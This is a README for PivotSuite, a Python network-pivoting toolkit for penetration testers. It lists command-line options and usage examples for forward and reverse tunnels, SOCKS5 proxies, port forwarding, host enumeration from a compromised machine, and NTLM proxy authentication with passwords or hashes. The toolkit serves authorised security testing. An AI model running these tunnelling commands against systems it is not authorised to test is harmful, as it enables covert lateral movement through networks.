DISCLAIMER: This software is for educational purposes only. This software should not be used for illegal activity. The author is not responsible for its use.
PivotSuite: Hack The Hidden Network - A Network Pivoting Toolkit
PivotSuite is a portable, platform independent and powerful network pivoting toolkit, Which helps Red Teamers / Penetration Testers to use a compromised system to move around inside a network. It is a Standalone Utility, Which can use as a Server or as a Client.
If the compromised host is directly accessable (Forward Connection) from Our pentest machine, Then we can run pivotsuite as a server on compromised machine and access the different subnet hosts from our pentest machine, Which was only accessable from compromised machine.
If the compromised host is behind a Firewall / NAT and isn't directly accessable from our pentest machine, Then we can run pivotsuite as a server on pentest machine and pivotsuite as a client on compromised machine for creating a reverse tunnel (Reverse Connection). Using this we can reach different subnet hosts from our pentest machine, which was only accessable from compromised machine.
- Supported Forward & Reverse TCP Tunneling
- Supported Forward & Reverse socks5 Proxy Server
- UDP over TCP and TCP over TCP Protocol Supported
- Corporate Proxy Authentication (NTLM) Supported
- Inbuilt Network Enumeration Functionality, Eg. Host Discovery, Port Scanning, OS Command Execution
- PivotSuite allows to get access to different Compromised host and their network, simultaneously (Act as C&C Server)
- Single Pivoting, Double Pivoting and Multi-level pivoting can perform with help of PivotSuite.
- PivotSuite also works as SSH Dynamic Port Forwarding but in the Reverse Direction.
- Doesn't required admin/root access on Compromised host
- PivotSuite also works when Compromised host is behind a Firewall / NAT, When Only Reverse Connection is allowed.
- No dependency other than python standard libraries.
- No Installation Required
- UDP Port is accessable over TCP
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You can download the latest version of pivotsuite by cloning the Git repository or PyPI Package.
git clone https://github.com/RedTeamOperations/PivotSuite.git OR pip install PivotSuite
PivotSuite works out of the box with Python version 2.7.x and 3.6.x on any platform.
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PivotSuite Standalone Executable Download from Github Release Section
https://github.com/RedTeamOperations/PivotSuite/releases
No installation require, No python interpreter require
a. Only Python Standard Libraries are Required
b. Compatible for both Python 2.7.x & Python 3.6.x
c. Tested on Windows and Linux.
$ pivotsuite.py [options] SERVER-IP SERVER-PORT
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-S, --server Run PivotSuite as a Server
-C, --client Run PivotSuite as a Client
- -server-ip=SERVER_IP
Server Listen/Connect IP address, Default 0.0.0.0
--server-port=SERVER_PORT
Server Listen/Connect Port, Default 7777
PivotSuite Server Options:
-F, --forward-connection
Forward Network Traffic
--server-option=SP/PF
Use Server as Socks_Proxy(SP)/Port_Forward(PF),
Default SP
--network-protocol=T/U
Select Protocol For Port Forwarding TCP(T)/ UDP(U),
Default T
--forward-ip=Remote-Host-IP
Remote Host IP for Port Forwarding
--forward-port=Remote-Host-Port
Remote Host Port for Port Forwarding
-W, --reverse-connection
Reverse Network Traffic
PivotSuite Client Options:
-O SP/PF/NE, --option=SP/PF/NE
Use Client as Socks_Proxy(SP)/ Port_Forwarding(PF)/
Network_Enumeration(NE), Default SP
-L, --local-forward
Use Local Port Forwarding
-R, --remote-forward
Use Remote Port Forwarding
-P T/U, --protocol=T/U
Select Protocol For Port Forwarding TCP(T)/ UDP(U),
Default T
--local-ip=LOCAL_IP
Local IP For Port Forwarding
--local-port=LOCAL_PORT
Local Port For Port Forwarding
--remote-ip=REMOTE_IP
Remote IP For Port Forwarding
--remote-port=REMOTE_PORT
Remote Port For Port Forwarding
NTLM Proxy Authentication Options:
--ntlm-proxy-ip=NTLM_PROXY_IP
IP address of NTLM proxy
--ntlm-proxy-port=NTLM_PROXY_PORT
Port of NTLM proxy
--username=USERNAME
Username to authenticate with NTLM proxy
--domain=DOMAIN Domain to authenticate with NTLM proxy
--password=PASSWORD
Password to authenticate with NTLM proxy
--hashes=HASHES Hashes to authenticate with instead of password.
Format - LMHASH:NTHASH
IF the Compromised host is directly accessible from our pentest machine.
Then run PivotSuite as a server on the compromised machine as per our requirements:
a. Dynamic Port Forwarding (Socks5 Proxy Server) On Compromised machine:
$ python pivotsuite.py -S -F --server-option SP --server-ip IP --server-port PORT
b. Single Port Forwarding (TCP/UDP Relay) On Compromised machine :
$ python pivotsuite.py -S -F --server-option PF --network-protocol T/U --remote-ip IP --remote-port PORT
--server-ip IP (local-ip) --server-port PORT (local-port)
IF the Compromised host is behind a Firewall / NAT and directly not accessible from our pentest machine.
Then run PivotSuite as a Server on pentest machine and PivotSuite as a Client on compromised machine.
i. Run PivotSuite as a Sever On Pentest Machine :
$ python pivotsute.py -S -W
ii. Run PivotSuite as a Client on Compromise Machine as per our requirements:
a. Dynamic Port Forwarding (Socks5 Proxy Server) On Pentest Machine:
$ python pivotsuite.py -C -O SP --server-ip IP --server-port PORT
b. Local / Remote Port Forwarding On Pentest Machine:
$ python pivotsuite.py -C -O PF - L / -R (local or remote port forwarding) -P T/U --local-ip IP
--local-port PORT --remote-ip IP --remote-port PORT --server-ip IP --server-port PORT
c. Network Enumeration of Compromised Machine:
$ python pivotsuite.py -C -O NE --server-ip IP --server-port PORT
IF Corportate Proxy Authentication (NTLM) required for reverse connection on Compromised Host :
$ python pivotsuite.py -C -O SP --ntlm-proxy-ip IP --ntlm-proxy-port PORT --username USERNAME --password PASSWORD
--server-ip IP --server-port PORT
I would greatly appreciate it if you kindly give me some feedback or suggestion on PivotSuite Toolkit.
Email: manish.gupta@cyberwarfare.live
LinkedIn: https://www.linkedin.com/in/0hack/